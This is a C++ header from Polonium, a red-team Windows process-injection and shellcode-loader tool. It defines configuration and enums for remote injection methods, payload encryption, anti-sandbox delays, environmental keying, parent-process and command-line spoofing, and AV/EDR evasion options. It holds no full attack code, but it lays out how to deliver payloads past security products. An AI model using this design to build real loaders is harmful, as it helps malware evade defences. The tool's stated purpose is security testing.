#pragma once

#define WIN32_NO_STATUS
#include <windows.h>
#undef WIN32_NO_STATUS

#include <TlHelp32.h>
#include <winternl.h>
#include <urlmon.h>
#include <WinInet.h>
#include <psapi.h>
#include <processthreadsapi.h>
#include <shellapi.h>
#include <wbemcli.h>
#include <ntstatus.h>
#include <winnt.h>
#include <assert.h>

#include <set>
#include <cstdint>
#include <iostream>
#include <iomanip>
#include <string>
#include <memory>
#include <cwchar>
#include <sstream>
#include <algorithm>
#include <iterator>
#include <tuple>
#include <limits.h>
#include <chrono>
#include <map>
#include <vector>
#include <ctime>

#include "lib\usings.h"
#include "lib\resolver.h"
#include "lib\utils.h"
#include "lib\misc.h"
#include "lib\evasion\anti.h"
#include "lib\PE.h"
#include "lib\atombomb.h"
#include "lib\helpers\hexdump.hpp"


#ifndef MAKEULONGLONG
    #define MAKEULONGLONG(ldw, hdw) ((ULONGLONG(hdw) << 32) | ((ldw) & 0xFFFFFFFF))
#endif

#ifndef MAXULONGLONG
    #define MAXULONGLONG ((ULONGLONG)~((ULONGLONG)0))
#endif

#define DEFRemoteInjectionFailedException(x) \
    if(programOptions.FallbackAndSwitchStrategy || programOptions.AutoSelectTarget) \
        throw (RemoteInjectionFailedException(OBFI(x)))

#ifndef _countof
    #define _countof(arr) (sizeof(arr) / sizeof((arr)[0])
#endif

#ifndef offsetof
    #define offsetof(s,m) ((::size_t)&reinterpret_cast<char const volatile&>((((s*)0)->m)))
#endif

#define MINIMUM_DELAY_TECHNIQUE_FLAG    (1ULL << 48)
#define SPOOF_PARENT_PROCESS_PID_AUTO   0x12345

#ifdef _POLON_LESS_STRINGS
const std::wstring Banner[1] = {
    OBF(L"")
};
#else
const std::wstring Banner[] = {
    OBF(LR"(
   +---------------------------------------------------------------------+
   | :: Polonium - an extremely dangerous to humans radioactive metal.   |
   |      __       Discovered in 1898 by a polish chemist, a first woman |
   |      |_|      to earn Nobel Prize and still the only one to         |
   |    84| []     accomplish that twice - Maria Sklodowska-Curie.       |)"),
OBF(LR"(   |                                                                     | 
   | This tool is a tribute to Maria's ingenuity and sacrifice for the   |
   | scientific research she conducted. A term of radioactivity which    |
   | she coined - costed her life, today saving millions of others.      |
   +---------------------------------------------------------------------+)"),
OBF(LR"(
   Windows process injection test-bench and advanced shellcode-loader.
   Aims to map viable AV/EDR evasions and safely deliver your payload.

   Mariusz Banach / mgeeky, '20-'22       [ver 0.7.4]
   <mb@binary-offensive.com>
)")
};
#endif


enum PayloadEncryption {
    NoEncryption,
    Xor8,
    Xor32,
    Aes128,
    Aes256,
    RC4
};

enum PayloadCompression {
	NoCompression,
	Xpress,
	XpressHuffman,
    Lznt1
};

enum DelayTechnique : uint64_t
{
    OfferYouHaveToRefuse = (1ULL << 63),
    MillionsIncrements = (1ULL << 62),
    SenselessAES = (1ULL << 61),
    IcmpSendEcho = (1ULL << 60),
};

enum class PEInjectTechnique
{
    AddSectionWithJMP,
    AllocateRXWithJMP,
    OverwriteEP,
    HijackImport,
    RemoteThread
};

enum AllocationTechnique
{
    useLocal,
    useNtAllocateVirtualMemory,
    useZwCreateSection
};

enum WriteTechnique
{
    useLocalWrite,
    useNtWriteVirtualMemory,
    useNtMapViewOfSection,
    useAtomBombing
};

enum ExecutionTechnique
{
    justJumpToShellcode,
    useCreateRemoteThread,
    useNtQueueApcThread,
    useRtlCreateUserThread,
    useNtSetContextThread,
    usePROPagate
};

enum class PayloadEmbedTechnique
{
    PayloadHarcoded,
    PayloadInOverlay,
    PayloadInSection,
    PayloadInFile
};

struct EnvironmentalKeying
{
    std::wstring method;
    std::vector<std::wstring> params;
};

enum class EnvironmentalKeyingTactics
{
    DomainJoined,
    Domain,
    InternetConnectivity,
    IP,
    Username
};

struct GlobalConfig
{
    bool DontProcessCommandLine = false;
    bool IgnoreDelayFailure = false;
    bool Quiet = false;
    bool ListingRunningProcesses = false;
    bool FallbackAndSwitchStrategy = false;
    bool AllEvasions = false;
    bool SpawnChild = false;
    bool SpawnSelf = false;
    bool AntiSplicing = false;
    bool BlockDlls = false;
    bool AutoSelectTarget = false;
    bool Verbose = false;
    bool PoloniumIsWow64 = false;
    bool ApplyEvasionPatches = false;
    bool RunningAsAFork = false;
    bool TrampolineShellcodeExecution = false;
    bool ShellcodeFluctuation = false;
    bool MasqueradeUserAgent = false;
    bool SpoofThreadStacks = false;
    bool EncryptHeaps = false;

    size_t WipePEHeaders = false;
    uint32_t InjectionStrategy = 1;
    uint32_t ParentPidSpoofing = 0;
    uint64_t Delay = 0;
    size_t AntiEmulation = 0;
    uint32_t ShellcodeFragmentSize = 0;
    uint64_t FragmentedWriteDelay = 0;

    wchar_t CmdlineSpoofing[2048] = L"";

    tm ProgramKilldate = { 0 };

    std::wstring TargetProcess = L"";
    std::wstring FilteredCommandLine = L"";
    DWORD TargetProcessPid = 0;
    
    std::vector<EnvironmentalKeying> EnvironmentalKeyings;
    DWORD PageProtection = PAGE_EXECUTE_READWRITE;
    DWORD ShellcodeFluctuationProtection = PAGE_READWRITE;

    PayloadEmbedTechnique payloadEmbeddedIn = PayloadEmbedTechnique::PayloadHarcoded;
    std::wstring OverlayPayloadParameters = L"";
    size_t positionOfPayloadInBuffer = 0;

    std::wstring shellcodeLocation = L"";

    PayloadEncryption EncryptionUsed = PayloadEncryption::NoEncryption;
    PayloadCompression CompressionUsed = PayloadCompression::NoCompression;
    uint8_t EncryptionKey[4] = { 0 };
    std::vector<uint8_t> InputShellcodeBuffer;
    size_t InputEncodedShellcodeLen = 0;
    size_t InputUncompressedShellcodeLen = 0;
    size_t InputShellcodeLen = 0;

    void dumpOptions();
    std::wstring toSpawnedSelfCommandLinePipe();
    void init();
};


//
// ========================================================================================================
//

struct PROPagateContext;

extern PROPagateContext globalPROPagateContext;

extern bool globalRunningAsInjectedShellcode;
extern bool globalQuietOption;
extern bool globalVerboseOption;
extern bool globalAntiSplicingOption;
extern bool globalCacheLoglines;

extern wchar_t globalLogFilePath[MAX_PATH];

extern GlobalConfig programOptions;

// Key: tactic name
// Value: (TacticEnumValue, MinNumberOfParams)
extern std::map<std::wstring, std::pair<EnvironmentalKeyingTactics, uint8_t>> Supported_Environmental_Keying_Tactics;


//////////////////////////////////////////////////////


// Specifies how long should Polonium wait for the executed payload to finish its execution.
// The payload could be launched in a separate thread. That would specify how long to wait for the thread
// to finish its actions.
const uint32_t Wait_For_Payload_To_Finish = INFINITE;

// Allows for slight deviation from measured delay time to what was
// expected (in milliseconds).
const size_t Allowed_Deviation_From_Delay = 600;

const size_t Minimum_Payload_Length = 2;

const size_t Max_Strategy_To_Choose = 18;

const size_t Wait_For_Shellcode_Before_Running_PostExecute_Actions = 5000;

//
// - 15000 default delay = will take Polonium with all delay techniques about 285 seconds
// - 25000 default delay = will take Polonium with all delay techniques about 452 seconds
//
// Every 1000 miliseconds of delay, combined with various DelayTechniques - impacts Polonium
// effective execution delay about 18,5x times.
//
const DWORD Default_Program_Delay = 15000;

const DWORD64 Bail_Out_Delay = 300 * 1000;
const size_t Maximum_Parameters_Length = 2048;
const uint32_t Maximum_Shellcode_Length = 24 * 1024 * 1024;    // 24 MB

const std::string Shellcode_Additional_Section_Name = OBF_STR(".edata");

//
// Processes in this array will not be picked as suitable for remote process injection
// during auto-target lookup. Of course one can still target them manually.
//
const std::wstring Not_Suitable_For_Injection_Processes[] = {
    OBFI(L"smss.exe"), OBFI(L"winlogon.exe"), OBFI(L"lsass.exe"),
    OBFI(L"csrss.exe"), OBFI(L"wininit.exe"), OBFI(L"services.exe"),
    OBFI(L"fontdrvhost.exe"), OBFI(L"WUDFHost.exe"), OBFI(L"dwm.exe"),
    OBFI(L"conhost.exe"), OBFI(L"svchost.exe")
};

const size_t Remote_Only_Strategies = 10;

const size_t Strategies_That_Must_Spawn_Child_As_Self[] = {
    7, 8, 9
};

const size_t Strategies_That_Must_Spawn_Child_Process[] = {
    17, 18
};

const DWORD64 DelayAllTechniques = 
    DelayTechnique::OfferYouHaveToRefuse
    | DelayTechnique::MillionsIncrements
    | DelayTechnique::SenselessAES;
    //| DelayTechnique::IcmpSendEcho;